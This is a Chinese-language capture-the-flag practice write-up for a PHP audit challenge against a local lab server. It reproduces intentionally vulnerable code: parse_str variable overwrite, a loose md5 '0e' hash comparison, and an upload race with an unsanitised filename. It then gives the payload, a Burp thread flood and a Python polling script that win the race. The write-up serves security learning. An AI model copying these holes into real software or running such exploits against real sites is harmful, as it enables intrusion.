练习记录
复现代码:
index.php
<?php
$a = "hongri";
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo '<a href="flag.php">flag is here</a>';
}
?>
flag.php
// flag.php
<?php
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
if (!is_dir($savepath)) {
$oldmask = umask(0);
mkdir($savepath, 0777);
umask($oldmask);
}
if ((@$_GET['filename']) && (@$_GET['content'])) {
//$fp = fopen("$savepath".$_GET['filename'], 'w');
$content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);
}
print <<<EOT
<form action="" method="get">
<div class="form-group">
<label for="exampleInputEmail1">Filename</label>
<input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Content</label>
<input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
EOT;
}
else{
echo 'you can not see this page';
}
?>
漏洞分析:
进入网站:
http://10.211.55.5/PHPcode/day7/index.php
发现页面正常,可以进行操作了。
在index.php
第4行
存在 @parse_str($id)
; 这个函数不会检查变量 $id
是否存在,如果通过其他方式传入数据给变量$id
,且当前$id
中数据存在,它将会直接覆盖掉。而在第6行
有一段这样代码。
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
PHP Hash
比较存在缺陷 ,它把每一个以0E
开头的哈希值都解释为0
,所以如果两个不同的密码经过哈希以后,其哈希值都是以0E
开头的,那么PHP将会认为他们相同,都是0
。而这里的 md5(‘QNKCDZO’)
的结果是 0e830400451993494058024219903391
。所以payload
为 ?id=a[0]=s878926199a
。这样就可以在页面上回显。
http://10.211.55.5/PHPcode/day7/?id=a[0]=s878926199a
点击后进入flag.php
而这题真正的考察点在这里。在flag.php
的第三行
和第四行
有这样两句代码如下:
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
这里有个 refer
判断,判断refer
是否存在,如果有就显示上传页面,如果没有,就返回 you can not see this page 。
据我们所知,通过a
标签点击的链接,会自己自动携带上refer
字段。然后 携带refer
和 不携带refer
,返回的结果不一样。
携带refer
的情况:
不携带refer
的情况:
然后在 flag.php 的第13行
和第18行
有这样代码如下:
$content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);
这里有一句关键就是 usleep(100000)
; 这题需要在写入too slow
之前,访问之前写入的文件,即可获得flag,这里就存在时间竞争问题。但是我们看到其实这里的文件夹路径是固定写死的。
直接访问会返回 too slow
。
因此这里的解法是,开Burp的200线程
,一个不断发包
http://10.211.55.5/PHPcode/day7/flag.php?filename=flag&content=111
在 start attack
之前需要一个脚本不断请求下面这个链接
http://10.211.55.5/PHPcode/day7/uploads/57f26b8080252f52910b7ed53b7eefb0b17189a8/flag
脚本代码:
import requests as r
r1=r.Session()
while (1):
r2=r1.get("http://10.211.55.5/PHPcode/day7/uploads/57f26b8080252f52910b7ed53b7eefb0b17189a8/flag")
print (r2.text)
pass
在爆破的同时访问页面,就能出现flag